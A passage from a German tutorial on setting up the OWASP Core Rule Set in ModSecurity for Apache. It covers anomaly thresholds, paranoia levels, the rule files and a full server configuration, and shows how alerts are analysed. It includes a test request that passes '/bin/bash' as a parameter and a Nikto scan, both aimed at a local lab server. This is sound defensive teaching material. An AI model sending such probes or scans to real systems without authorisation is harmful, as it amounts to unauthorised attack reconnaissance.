Für den Moment lassen wir das unberührt und nehmen aber wie erwähnt drei entscheidende Werte aus `crs-setup.conf` heraus und definieren sie in unserer Konfiguration, damit wir sie dauerhaft in Blick behalten können. Zunächst setzen wir zwei Limiten in der Regel _900110_: Den Anomalie-Wert der Anfragen und den Anomalie-Wert der Antworten. Dies geschieht mittels der `setvar` Action, welche hier beide Werte auf 10'000 setzt.
Was bedeutet das? Das CRS arbeitet per Default mit einem Zähl-Mechanismus. Für jede Regel, die eine Anfrage verletzt, wird ein Zähler erhöht. Wenn der Request sämtliche Regeln passiert hat, dann wird der Wert mit der Limite verglichen. Sollte er die Limite erreichen, wird der Request blockiert. Dasselbe geschieht mit der Antwort wo wir Informationslecks gegenüber dem Client verhindern möchten.
Von Haus aus kommt das CRS im Blocking Mode daher. Wenn eine Regel verletzt wird und der Zähler die Limite erreicht, wird die Blockade der Anfrage sofort ausgelöst. Aber wir sind noch nicht sicher, ob unser Service wirklich sauber läuft und die Gefahr von Fehlalarmen ist immer da. Wir möchten unerwünschte Blockaden verhindern, deshalb setzen wir die Limite zunächst bei 10'000 an. Regelverletzungen bringen maximal 5 Punkte. Und selbst wenn die Kumulation möglich ist, wird eine Anfrage die Limite kaum erreichen. Aber wir bleiben dennoch prinzipiell im Blocking Mode und wenn unser Vertrauen in unsere Konfiguration wächst, dann können wir die Limiten einfach schrittweise reduzieren.
Die zweite Regel, die Regel `900000`, setzt den _Paranoia Level_ auf 1. Das CRS ist in vier Gruppen von Regeln unterteilt; Regeln der Paranoia Stufen 1 - 4. Wie der Name bereits erahnen lässt, je höher der Paranoia Level, desto neurotischer die Regeln. Per Default stellen wir den Level auf 1, wo die Regeln noch vernünftig und Fehlalarme selten sind. Wenn wir den PL auf 2 erhöhen, werden neue Regeln hinzugeladen. Nun treten etwas mehr Fehlalarme, sogenannte *False Positives* auf. Deren Zahl steigt mit PL3 weiter an und auf der letzten Stufe PL4 wird es nun Fehlalarme hageln, als ob die Web Application Firewall jeden Sinn für ein vernünftiges Mass verloren hätte. Für den Moment müssen wir aber nur wissen, dass wir die Agressivität des Regelwerks über die Paranoia Level Einstellung kontrollieren können und dass PL3 und PL4 wirklich für diejenigen Benutzer existieren, welche sehr hohe Sicherheitsanforderungen besitzen. Wir starten bei PL1.
### Schritt 3: Ein genauerer Blick auf den Regel-Ordner
Im Zentrum des vorangehenden Konfigurationsblocks liegt ein Include Statement, das sämtliche Dateien mit der Endung `.conf` aus dem Unterverzeichnis `rules` im CRS Verzeichnis lädt. Schauen wir uns diese Files einmal an:
```bash
$> ls -1 crs/rules/*.conf
conf/crs/rules/REQUEST-901-INITIALIZATION.conf
conf/crs/rules/REQUEST-903.9001-DRUPAL-EXCLUSION-RULES.conf
conf/crs/rules/REQUEST-903.9002-WORDPRESS-EXCLUSION-RULES.conf
conf/crs/rules/REQUEST-903.9003-NEXTCLOUD-EXCLUSION-RULES.conf
conf/crs/rules/REQUEST-903.9004-DOKUWIKI-EXCLUSION-RULES.conf
conf/crs/rules/REQUEST-903.9005-CPANEL-EXCLUSION-RULES.conf
conf/crs/rules/REQUEST-905-COMMON-EXCEPTIONS.conf
conf/crs/rules/REQUEST-910-IP-REPUTATION.conf
conf/crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf
conf/crs/rules/REQUEST-912-DOS-PROTECTION.conf
conf/crs/rules/REQUEST-913-SCANNER-DETECTION.conf
conf/crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf
conf/crs/rules/REQUEST-921-PROTOCOL-ATTACK.conf
conf/crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf
conf/crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf
conf/crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf
conf/crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf
conf/crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf
conf/crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf
conf/crs/rules/REQUEST-943-APPLICATION-ATTACK-SESSION-FIXATION.conf
conf/crs/rules/REQUEST-944-APPLICATION-ATTACK-JAVA.conf
conf/crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf
conf/crs/rules/RESPONSE-950-DATA-LEAKAGES.conf
conf/crs/rules/RESPONSE-951-DATA-LEAKAGES-SQL.conf
conf/crs/rules/RESPONSE-952-DATA-LEAKAGES-JAVA.conf
conf/crs/rules/RESPONSE-953-DATA-LEAKAGES-PHP.conf
conf/crs/rules/RESPONSE-954-DATA-LEAKAGES-IIS.conf
conf/crs/rules/RESPONSE-959-BLOCKING-EVALUATION.conf
conf/crs/rules/RESPONSE-980-CORRELATION.conf
```
Die Regel Dateien gruppieren sich in Request und in Response Regeln. Wir starten mit einer Initialisierungsregel-Datei mit der Nummer 901. Im `crs-setup.conf` sind sehr viele Sachen auskommentiert. So lange sie nicht aktiviert werden, setzt das 901er Regel-File einfach einen Default-Wert. Dies erlaubt es uns, mit einer einfachen und sauberen Konfiguration zu arbeiten und dennoch vernünftige Default-Werte zu setzen. Danach folgen zwei applikationsspezifische Dateien für Drupal und Wordpress. Darauf folgt ein File mit Ausnahmen, das für uns für den Moment ohne Belang ist. Mit 910 geht es mit den richtigen Regeln los.
Jede Datei widmet sich einem Thema respektive einem Angriffstyp. Das CRS besetzt den Zahlenraum der IDs von 900'000 bis 999'999. Die ersten drei Ziffern jeder einzelnen Regel korrespondieren mit den drei Ziffern im Namen der Regeldatei. Das bedeutet die IP Reputations Regeln in der Datei `REQUEST-910-IP-REPUTATION.conf` besetzen den Zahlrenaum von 910'000 bis 910'999. Die Regeln, welche die Methode durchsetzen, folgen von 911'000 bis 911'999, und so weiter. Manche dieser Regeldateien sind klein und sie nützen den ihnen zugewiesenen Zahlenraum bei weitem nicht aus. Andere sind viel grösser und die berüchtigten SQL Injection Regeln riskieren das Dach ihrer IDs eines Tages zu erreichen.
Eine wichtige Datei ist `REQUEST-949-BLOCKING-EVALUATION.conf`. Darin wird der Anomalie-Wert gegen die Limite für die eingehenden Anfragen verglichen und gegebenenfalls blockiert.
Darauf folgenden die Regeln, die sich um die Antworten kümmern. Sie sind geringer in der Anzahl und suchen prinzipiell nach Code Lecks (Stack Traces!) und Lecks in Fehlermeldungen (die einem Angreifer sehr dabei helfen, eine SQL Attacke zu konstruieren). Der Anomalie-Wert der Antworten wird im Regel-File mit dem Prefix 959 überprüft.
Manche Regeln kommen mit Daten-Files. Diese Dateien haben die `.data` Endung und residieren in demselben Verzeichnis, wie die Regeln. Diese Daten-Files werden typischerweise dann verwendet, wenn eine Anfrage gegen eine lange Liste mit Schlüsselwörtern wie unerwünschte User-Agents oder PHP Funktionsnamen geprüft werden müssen. Es ist ganz interessant, da mal einen Blick drauf zu werfen.
In unserer Apache Konfiguration ist vor und nach der *Include* Direktive für die Regeln etwas Platz frei. Dort werden wir uns in Zukunft um die Fehlalarme kümmern. Manche werden behandelt, bevor die Regel selbst zugeladen wird. Andere kommen erst zum Zug, wenn die Regel bereits hereingeladen wurde; also nach dem *Include* Statement. Wir kommen später in dieser Anleitung darauf zurück.
Der Vollständigkeit halber hier die komplette Apache Konfiguration inklusive ModSecurity, dem CRS und all den Konfigurationsteilen von früheren Anleitungen auf die wir uns abstützen.
```bash
ServerName localhost
ServerAdmin root@localhost
ServerRoot /apache
User www-data
Group www-data
PidFile logs/httpd.pid
ServerTokens Prod
UseCanonicalName On
TraceEnable Off
Timeout 10
MaxRequestWorkers 100
Listen 127.0.0.1:80
Listen 127.0.0.1:443
LoadModule mpm_event_module modules/mod_mpm_event.so
LoadModule unixd_module modules/mod_unixd.so
LoadModule log_config_module modules/mod_log_config.so
LoadModule logio_module modules/mod_logio.so
LoadModule authn_core_module modules/mod_authn_core.so
LoadModule authz_core_module modules/mod_authz_core.so
LoadModule ssl_module modules/mod_ssl.so
LoadModule headers_module modules/mod_headers.so
LoadModule unique_id_module modules/mod_unique_id.so
LoadModule security2_module modules/mod_security2.so
ErrorLogFormat "[%{cu}t] [%-m:%-l] %-a %-L %M"
LogFormat "%h %{GEOIP_COUNTRY_CODE}e %u [%{%Y-%m-%d %H:%M:%S}t.%{usec_frac}t] \"%r\" %>s %b \
\"%{Referer}i\" \"%{User-Agent}i\" \"%{Content-Type}i\" %{remote}p %v %A %p %R \
%{BALANCER_WORKER_ROUTE}e %X \"%{cookie}n\" %{UNIQUE_ID}e %{SSL_PROTOCOL}x %{SSL_CIPHER}x \
%I %O %{ratio}n%% %D %{ModSecTimeIn}e %{ApplicationTime}e %{ModSecTimeOut}e \
%{ModSecAnomalyScoreInPLs}e %{ModSecAnomalyScoreOutPLs}e \
%{ModSecAnomalyScoreIn}e %{ModSecAnomalyScoreOut}e" extended
LogFormat "[%{%Y-%m-%d %H:%M:%S}t.%{usec_frac}t] %{UNIQUE_ID}e %D \
PerfModSecInbound: %{TX.perf_modsecinbound}M \
PerfAppl: %{TX.perf_application}M \
PerfModSecOutbound: %{TX.perf_modsecoutbound}M \
TS-Phase1: %{TX.ModSecTimestamp1start}M-%{TX.ModSecTimestamp1end}M \
TS-Phase2: %{TX.ModSecTimestamp2start}M-%{TX.ModSecTimestamp2end}M \
TS-Phase3: %{TX.ModSecTimestamp3start}M-%{TX.ModSecTimestamp3end}M \
TS-Phase4: %{TX.ModSecTimestamp4start}M-%{TX.ModSecTimestamp4end}M \
TS-Phase5: %{TX.ModSecTimestamp5start}M-%{TX.ModSecTimestamp5end}M \
Perf-Phase1: %{PERF_PHASE1}M \
Perf-Phase2: %{PERF_PHASE2}M \
Perf-Phase3: %{PERF_PHASE3}M \
Perf-Phase4: %{PERF_PHASE4}M \
Perf-Phase5: %{PERF_PHASE5}M \
Perf-ReadingStorage: %{PERF_SREAD}M \
Perf-WritingStorage: %{PERF_SWRITE}M \
Perf-GarbageCollection: %{PERF_GC}M \
Perf-ModSecLogging: %{PERF_LOGGING}M \
Perf-ModSecCombined: %{PERF_COMBINED}M" perflog
LogLevel debug
ErrorLog logs/error.log
CustomLog logs/access.log extended
CustomLog logs/modsec-perf.log perflog env=write_perflog
# == ModSec Base Configuration
SecRuleEngine On
SecRequestBodyAccess On
SecRequestBodyLimit 10000000
SecRequestBodyNoFilesLimit 64000
SecResponseBodyAccess On
SecResponseBodyLimit 10000000
SecPcreMatchLimit 100000
SecPcreMatchLimitRecursion 100000
SecTmpDir /tmp/
SecUploadDir /tmp/
SecDataDir /tmp/
SecDebugLog /apache/logs/modsec_debug.log
SecDebugLogLevel 0
SecAuditEngine RelevantOnly
SecAuditLogRelevantStatus "^(?:5|4(?!04))"
SecAuditLogParts ABIJEFHKZ
SecAuditLogType Concurrent
SecAuditLog /apache/logs/modsec_audit.log
SecAuditLogStorageDir /apache/logs/audit/
SecDefaultAction "phase:2,pass,log,tag:'Local Lab Service'"
# == ModSec Rule ID Namespace Definition
# Service-specific before Core-Rules: 10000 - 49999
# Service-specific after Core-Rules: 50000 - 79999
# Locally shared rules: 80000 - 99999
# - Performance: 90000 - 90199
# Recommended ModSec Rules (few): 200000 - 200010
# OWASP Core-Rules: 900000 - 999999
# === ModSec timestamps at the start of each phase (ids: 90000 - 90009)
SecAction "id:90000,phase:1,nolog,pass,setvar:TX.ModSecTimestamp1start=%{DURATION}"
SecAction "id:90001,phase:2,nolog,pass,setvar:TX.ModSecTimestamp2start=%{DURATION}"
SecAction "id:90002,phase:3,nolog,pass,setvar:TX.ModSecTimestamp3start=%{DURATION}"
SecAction "id:90003,phase:4,nolog,pass,setvar:TX.ModSecTimestamp4start=%{DURATION}"
SecAction "id:90004,phase:5,nolog,pass,setvar:TX.ModSecTimestamp5start=%{DURATION}"
# SecRule REQUEST_FILENAME "@beginsWith /" "id:90005,phase:5,t:none,nolog,noauditlog,pass,\
# setenv:write_perflog"
# === ModSec Recommended Rules (in modsec src package) (ids: 200000-200010)
SecRule REQUEST_HEADERS:Content-Type "(?:application(?:/soap\+|/)|text/)xml" \
"id:200000,phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=XML"
SecRule REQUEST_HEADERS:Content-Type "application/json" \
"id:200001,phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON"
SecRule REQBODY_ERROR "!@eq 0" \
"id:200002,phase:2,t:none,deny,status:400,log,msg:'Failed to parse request body.',\
logdata:'%{reqbody_error_msg}',severity:2"
SecRule MULTIPART_STRICT_ERROR "!@eq 0" \
"id:200003,phase:2,t:none,log,deny,status:403, \
msg:'Multipart request body failed strict validation: \
PE %{REQBODY_PROCESSOR_ERROR}, \
BQ %{MULTIPART_BOUNDARY_QUOTED}, \
BW %{MULTIPART_BOUNDARY_WHITESPACE}, \
DB %{MULTIPART_DATA_BEFORE}, \
DA %{MULTIPART_DATA_AFTER}, \
HF %{MULTIPART_HEADER_FOLDING}, \
LF %{MULTIPART_LF_LINE}, \
SM %{MULTIPART_MISSING_SEMICOLON}, \
IQ %{MULTIPART_INVALID_QUOTING}, \
IP %{MULTIPART_INVALID_PART}, \
IH %{MULTIPART_INVALID_HEADER_FOLDING}, \
FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'"
SecRule TX:/^MSC_/ "!@streq 0" \
"id:200005,phase:2,t:none,deny,status:500,\
msg:'ModSecurity internal error flagged: %{MATCHED_VAR_NAME}'"
# === ModSec Core Rule Set Base Configuration (ids: 900000-900999)
Include /apache/conf/crs/crs-setup.conf
SecAction "id:900110,phase:1,pass,nolog,\
setvar:tx.inbound_anomaly_score_threshold=10000,\
setvar:tx.outbound_anomaly_score_threshold=10000"
SecAction "id:900000,phase:1,pass,nolog,\
setvar:tx.paranoia_level=1"
# === ModSec Core Rule Set: Runtime Exclusion Rules (ids: 10000-49999)
# ...
# === ModSecurity Core Rule Set Inclusion
Include /apache/conf/crs/rules/*.conf
# === ModSec Core Rule Set: Config Time Exclusion Rules (no ids)
# ...
# === ModSec Timestamps at the End of Each Phase (ids: 90010 - 90019)
SecAction "id:90010,phase:1,pass,nolog,setvar:TX.ModSecTimestamp1end=%{DURATION}"
SecAction "id:90011,phase:2,pass,nolog,setvar:TX.ModSecTimestamp2end=%{DURATION}"
SecAction "id:90012,phase:3,pass,nolog,setvar:TX.ModSecTimestamp3end=%{DURATION}"
SecAction "id:90013,phase:4,pass,nolog,setvar:TX.ModSecTimestamp4end=%{DURATION}"
SecAction "id:90014,phase:5,pass,nolog,setvar:TX.ModSecTimestamp5end=%{DURATION}"
# === ModSec performance calculations and variable export (ids: 90100 - 90199)
SecAction "id:90100,phase:5,pass,nolog,\
setvar:TX.perf_modsecinbound=%{PERF_PHASE1},\
setvar:TX.perf_modsecinbound=+%{PERF_PHASE2},\
setvar:TX.perf_application=%{TX.ModSecTimestamp3start},\
setvar:TX.perf_application=-%{TX.ModSecTimestamp2end},\
setvar:TX.perf_modsecoutbound=%{PERF_PHASE3},\
setvar:TX.perf_modsecoutbound=+%{PERF_PHASE4},\
setenv:ModSecTimeIn=%{TX.perf_modsecinbound},\
setenv:ApplicationTime=%{TX.perf_application},\
setenv:ModSecTimeOut=%{TX.perf_modsecoutbound},\
setenv:ModSecAnomalyScoreInPLs=%{tx.anomaly_score_pl1}-%{tx.anomaly_score_pl2}-%{tx.anomaly_score_pl3}-%{tx.anomaly_score_pl4},\
setenv:ModSecAnomalyScoreOutPLs=%{tx.outbound_anomaly_score_pl1}-%{tx.outbound_anomaly_score_pl2}-%{tx.outbound_anomaly_score_pl3}-%{tx.outbound_anomaly_score_pl4},\
setenv:ModSecAnomalyScoreIn=%{TX.anomaly_score},\
setenv:ModSecAnomalyScoreOut=%{TX.outbound_anomaly_score}"
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLProtocol All -SSLv2 -SSLv3 -TLSv1 -TLSv1.1
SSLCipherSuite 'kEECDH+ECDSA kEECDH kEDH HIGH +SHA !aNULL !eNULL !LOW !MEDIUM !MD5 !EXP !DSS \
!PSK !SRP !kECDH !CAMELLIA !RC4'
SSLHonorCipherOrder On
SSLRandomSeed startup file:/dev/urandom 2048
SSLRandomSeed connect builtin
DocumentRoot /apache/htdocs
<Directory />
Require all denied
Options SymLinksIfOwnerMatch
</Directory>
<VirtualHost 127.0.0.1:80>
<Directory /apache/htdocs>
Require all granted
Options None
</Directory>
</VirtualHost>
<VirtualHost 127.0.0.1:443>
SSLEngine On
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains" env=HTTPS
<Directory /apache/htdocs>
Require all granted
Options None
</Directory>
</VirtualHost>
```
Wir haben das CRS eingebettet und sind nun für den Testbetrieb bereit. Die Regeln inspizieren Anfragen und Antworten. Sie werden Alarme auslösen, wenn sie etwas merkwürdiges in den Requests vorfinden. Aber sie werden keine Transaktion blockieren, da die Anomalie-Limiten sehr hoch eingestellt wurden. Probieren wir das mal aus.
### Schritt 4: Zu Testzwecken Alarme auslösen
Zum Start machen wir etwas Einfaches. Es ist ein Request, der exakt eine Regel auslöst, wenn wir auf einfachste Art und Weise versuchen, eine Bash Shell aufzurufen. Wir wissen natürlich, dass unser Labor-Server gegenüber so einer dummen Attacke nicht verwundbar ist. ModSecurity weiss das aber nicht und wird immer noch versuchen uns zu schützen:
```bash
$> curl localhost/index.html?exec=/bin/bash
<html><body><h1>It works!</h1></body></html>
```
Wie vorausgesagt wurden wir nicht blockiert, aber schauen wir uns die Logs einmal an und schauen wir, ob etwas passiert ist:
```bash
$> tail -1 /apache/logs/access.log
127.0.0.1 - - [2019-10-25 08:40:01.881647] "GET /index.html?exec=/bin/bash HTTP/1.1" 200 48 "-" …
"curl/7.47.0" localhost 127.0.0.1 40080 - - + "-" WA7@QX8AAQEAABC4maIAAAAV - - 98 234 -% …
7672 2569 117 479 5 0
```
Es sieht nach einem Standard `GET` Request aus, der den Status 200 retourniert. Der interessante Teil ist das zweite Feld von hinten aus gezählt. In der Anleitung zum Access Log haben wir ein ausführliches Log-Format definiert, in dem wir zwei Positionen für die beiden Anomaly Scores reserviert haben. Bis dato waren diese Werte leer; jetzt werden sie aber gefüllt. Der erste der beiden Werte ist der Wert für den Request, der zweite den für die Antwort. Unsere Anfrage mit dem Parameter `/bin/bash` gab uns einen Anomalie-Wert von 5. Dies wird vom CRS als kritische Regelverletzung betrachtet. Eine Verletzung der Stufe *Error* ergibt 4 Punkte, eine Warnung 3 und bei einer Notiz sind es noch 2 Punkte. Wenn man die CRS Regeln überblickt, dann zeigt sich, dass die allermeisten eine kritische Verletzung beschreiben und jeweils einen Wert von 5 zuweisen.
Aber eigentlich möchten wir ja wissen, welche Regel den Alarm auslöste. Wir können einfach des Ende des Error Logs ausgeben. Aber benützen wir doch die Unique ID um alle Nachrichten aus dem Error Log herauszufiltern, welche unseren Request betreffen. Die Unique ID war Teil des Access Logs (*WA7@QX8AAQEAABC4maIAAAAV*), das ist also sehr einfach.
```bash
[2019-10-25 08:40:01.881938] [authz_core:debug] 127.0.0.1:42732 WA7@QX8AAQEAABC4maIAAAAV AH01626:…
authorization result of Require all granted: granted
[2019-10-25 08:40:01.882000] [authz_core:debug] 127.0.0.1:42732 WA7@QX8AAQEAABC4maIAAAAV AH01626:…
authorization result of <RequireAny>: granted
[2019-10-25 08:40:01.884172] [-:error] 127.0.0.1:42732 WA7@QX8AAQEAABC4maIAAAAV …
[client 127.0.0.1] ModSecurity: Warning. Matched phrase "/bin/bash" at ARGS:exec. …
[file "/apache/conf/crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "448"] …
[id "932160"] [rev "1"] [msg "Remote Command Execution: Unix Shell Code Found"] …
[data "Matched Data: /bin/bash found within ARGS:exec: /bin/bash"] [severity "CRITICAL"] …
[ver "OWASP_CRS/3.1.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] …
[tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] …
[tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] …
[tag "PCI/6.5.2"] [hostname "localhost"] [uri "/index.html"] …
[unique_id "WA7@QX8AAQEAABC4maIAAAAV"]
```
Das Authorisierungsmodul rapportiert zwei Mal im Logfile auf Stufe Debug. Aber auf der dritten Zeile sehen wir den Alarm, den wir suchen. Schauen wir uns das im Detail an. Die CRS Logeinträge enthalten viel mehr Informationen als eine normale Apache Meldung, so dass es sich wirklich lohnt, das Logformat noch einmal im Detail zu betrachten.
Der Beginn der Zeile besteht aus apache-spezifischen Teilen wie dem Zeitstempel und der Severity, also dem Schweregrad der Meldung, so wie der Server es betrachtet. *ModSecurity* Nachrichten besitzen immer die Stufe *Error*. Das Logformat von ModSecurity und das Apache Error Log, so wie wir es definiert haben, besitzen einige Redundanzen. Das erste Auftauchen der IP Adresse des Clients mit der Source Port Nummer und die Unique ID des Requests werden von Apache geschrieben. Die eckigen Klammern mit derselben Client IP Adresse markiert den Beginn der ModSecurity Alarm Meldung. Die charakteristische Markierung des CRS ist `ModSecurity: Warning`. Es beschreibt, dass eine Regel ausgelöst wurde, ohne dass die Anfrage blockiert worden wäre. Dies zeigt, dass die Regel ausgeschlagen hat, aber lediglich der Anomalie-Wert erhöht wurde. Es ist sehr einfach zwischen einem Alarm und einer tatsächlichen Blockade zu unterscheiden. Namentlich weil die einzelnen Regeln ja nie blockieren, sondern immer nur den Zähler erhöhen. Die Blockage selbst wird von einer separaten Regel ausgelöst, welche den Anomalie-Wert überprüft. Aber da wir ja eine sehr hohe Limite gesetzt haben, dürfen wir annehmen, dass das nicht so schnell passiert. ModSecurity umschreibt Regelverletzungen immer als *ModSecurity. Warning ...*. Die Blockaden werden dann als *ModSecurity. Access denied ...* rapportiert. Eine Warnung hat nie einen direkten Einfluss auf den Client: Solange wir kein *Access denied ...* sehen, können wir sicher sein, dass ModSecurity den Client und seine Anfrage nicht beeinträchtigt hat.
Was folgt darauf? Eine Referenz auf das Zeichenmuster, das in der Anfrage gefunden wurde. Die spezifische Muster `/bin/bash` wurde im Parameter `exec` entdeckt. Dann folgt eine Serie mit Informationsbrocken mit demselben, sich wiederholenden Format: Sie stehen in Klammern und besitzen ihren eigenen Identifikator. Zunächst sehen wir den *file* Identifikator. Er zeigt an, in welchem File die Regel, welche den Alarm auslöste, zu finden ist. Dies wird von der Zeilennummer innerhalb der Datei gefolgt. Der *id* Parameter ist wichtig. Die Regel *932160*, um die es hier geht, befindet sich in der Gruppe von Regeln, welche sich gegen Remote Command Execution wehren, also gegen das ausführen von Kommandos auf unserem Server. Diese sind im Block 932'000 bis 932'999 definiert. Dann folgt *rev* als Referenz an die Revisionsnummer der Regel. Im CRS macht dieser Wert eine Aussage darüber wie oft eine Regel revidiert worden ist. Wenn sie revidiert wird, dann wird *rev* um eines erhöht. Der Wert ist aber nicht immer präsent und man sollte sich nicht zusehr darauf verlassen. Das Kürzel *msg*, kurz für *message*, beschreibt den Typ der Attacke der entdeckt worden ist. Der relevante Teil des Anfrage, der *exec* Parameter, erscheint im Block *data*. In meinem Beispiel geht es also ganz klar um einen Fall von *Remote Code Execution* (RCE).
Dann folgt die Schwere des Regelverstosses, der *Severity Level*. Dies korrespondiert mit dem Anomalie-Wert der Regel. Wir haben bereits festgestellt, dass es sich um eine kritische Regelverletzung handelt. Deshalb wird die dies auch hier auf dieser Stufe rapportiert. Mit *ver* kommen wir zur Release-Identifikation des CRS, gefolgt von *maturity* und dann *accuracy*. Beide Werte sind als Referenz auf die Qualität einer Regel gemeint. Aber der Support ist inkonsistent und man sollte den Werten nicht allzu sehe vertrauen.
Dann kommen wir zu den Tags, die der Regel zugewiesen sind. Sie werden jedem Alarm mitgegeben. Die Tags klassifizieren den Typ der Attacke. Die Referenzen können zum Beispiel für die Analyse und die Statistik eingesetzt werden. Zum Ende folgen drei weitere Werte, Hostname, URI und Unique ID, welche den Request noch etwas klarer definieren (Die *unique_id*, bereits durch Apache gelistet, ist etwas redundant).
Damit haben wir die komplette Alarmmeldung, welche zu einem Anomalie-Wert von 5 führte, untersucht. Es handelte sich nur um eine einzige Anfrage mit einem einzigen Alarm. Generieren wir doch mal weitere Alarme. *Nikto* ist ein einfaches Hilfsmittel, das uns in dieser Situation helfen kann. Es ist ein Security Sanner, der seit Urzeiten existiert. Er ist nicht sehr mächtig, aber einfach in der Benutzung und sehr schnell. Also genau das richtige Tool, um viele Alarme zu generieren. *Nikto* muss vermutlich noch installiert werden. Der Scanner ist aber in den meisten Distributionen enthalten.
```bash
$> nikto -h localhost
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP: 127.0.0.1
+ Target Hostname: localhost
+ Target Port: 80
+ Start Time: 2019-03-21 07:50:40 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache
+ Server leaks inodes via ETags, header found with file /, fields: 0x2d 0x56852b3a6389e
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
+ 6544 items checked: 0 error(s) and 3 item(s) reported on remote host
+ End Time: 2019-03-21 07:51:19 (GMT1) (39 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```
Dieser Scan dürfte zahlreiche *ModSecurity Alarme* auf dem Server ausgelöst haben. Werfen wir einen Blick auf das Error Log. In meinem Fall gab es mehr als 13'300 Einträge. Wenn wir diese diese mit den zahlreichen Authorisierungsnachrichten und den Hinweisen auf die zahlreichen 404er (Nikto Proben auf Dateien, welche auf unserem Server nicht vorhanden sind) zusammennehmen, dann landen wir sehr schnell bei einem rapide wachsenden Error Log. Der einzelne Nikto-Lauf führte bei mir zu einer Logdatei von 11 MB. Wenn wir über den Baum mit den Audit Logs schauen, dann sehen wir sogar 92 MB Logfiles. Es ist offensichtlich: Man muss ein genaues Auge auf diese Log-Dateien halten oder der Server bricht unter einer Denial of Service Attacke auf die schiere Grösse der Logfiles zusammen.
### Schritt 5: Analysieren der Alarme
Wir betrachten also 7'300 Alarme. Und selbst wenn das Format der Einträge jetzt klar ist, ohne ein Hilfsmittel ist das alles sehr schwer zu lesen, geschweige denn zu analysieren. Eine einfache Abhilfe sind einige *Shell Aliase*, welche individuelle Informationsteile aus den Einträgen herausschneidet. Diese neuen Aliase sind bereits im Alias-File vorhanden, das wir in der Anleitung zu dem Logformat des Access Logs betrachtet haben.
```
$> cat ~/.apache-modsec.alias
...
alias meldata='grep -o "\[data [^]]*" | cut -d\" -f2'
alias melfile='grep -o "\[file [^]]*" | cut -d\" -f2'
alias melhostname='grep -o "\[hostname [^]]*" | cut -d\" -f2'
alias melid='grep -o "\[id [^]]*" | cut -d\" -f2'
alias melip='grep -o "\[client [^]]*" | cut -b9-'
alias melidmsg='sed -e "s/.*\[id \"//" -e "s/\([0-9]*\).*\[msg \"/\1 /" -e "s/\"\].*//" -e "s/(Total .*/(Total ...) .../" -e "s/Incoming and Outgoing Score: [0-9]* [0-9]*/Incoming and Outgoing Score: .../"
alias melline='grep -o "\[line [^]]*" | cut -d\" -f2'
alias melmatch='grep -o " at [^\ ]*\. \[file" | sed -e "s/\. \[file//" | cut -b5-'
alias melmsg='grep -o "\[msg [^]]*" | cut -d\" -f2'
alias meltimestamp='cut -b2-25'
alias melunique_id='grep -o "\[unique_id [^]]*" | cut -d\" -f2'
alias meluri='grep -o "\[uri [^]]*" | cut -d\" -f2'
...
```
Diese Abkürzungen beginnen mit dem Präfix *mel*, kurz für *ModSecurity error log*, gefolgt vom Feldnamen. Versuchen wir es, die Regel-IDs aus den Nachrichten auszugeben:
```
$> cat logs/error.log | melid | tail
920440
913100
913100
913100
913100
913100
913100
913100
913100
920440
```
Das scheint das zu machen, was wir erwarten. Erweitern wir das Beispiel in ein paar Schritten:
```
$> cat logs/error.log | melid | sort | uniq -c | sort -n
1 920220
1 932115
2 920280
2 941140
3 942270
4 933150
5 942100
6 932110
7 911100
8 932105
13 932100
15 941170
15 941210
17 920170
29 930130
35 932150
67 933130
70 933160
111 932160
113 941180
114 920270
140 931110
166 930120
172 930100
224 920440
245 941110
247 941100
247 941160
448 930110
2262 931120
2328 913120
6168 913100
$> cat logs/error.log | melid | sort | uniq -c | sort -n | while read STR; do echo -n "$STR "; \
ID=$(echo "$STR" | sed -e "s/.*\ //"); grep $ID logs/error.log | head -1 | melmsg; done
1 920220 URL Encoding Abuse Attack Attempt
1 932115 Remote Command Execution: Windows Command Injection
2 920280 Request Missing a Host Header
2 941140 XSS Filter - Category 4: Javascript URI Vector
3 942270 Looking for basic sql injection. Common attack string for mysql, oracle and others.
4 933150 PHP Injection Attack: High-Risk PHP Function Name Found
5 942100 SQL Injection Attack Detected via libinjection
6 932110 Remote Command Execution: Windows Command Injection
7 911100 Method is not allowed by policy
8 932105 Remote Command Execution: Unix Command Injection
13 932100 Remote Command Execution: Unix Command Injection
15 941170 NoScript XSS InjectionChecker: Attribute Injection
15 941210 IE XSS Filters - Attack Detected.
17 920170 GET or HEAD Request with Body Content.
29 930130 Restricted File Access Attempt
35 932150 Remote Command Execution: Direct Unix Command Execution
67 933130 PHP Injection Attack: Variables Found
70 933160 PHP Injection Attack: High-Risk PHP Function Call Found
111 932160 Remote Command Execution: Unix Shell Code Found
113 941180 Node-Validator Blacklist Keywords
114 920270 Invalid character in request (null character)
140 931110 Possible Remote File Inclusion (RFI) Attack: Common RFI Vulnerable Parameter Name …
166 930120 OS File Access Attempt
172 930100 Path Traversal Attack (/../)
224 920440 URL file extension is restricted by policy
245 941110 XSS Filter - Category 1: Script Tag Vector
247 941100 XSS Attack Detected via libinjection
247 941160 NoScript XSS InjectionChecker: HTML Injection
448 930110 Path Traversal Attack (/../)
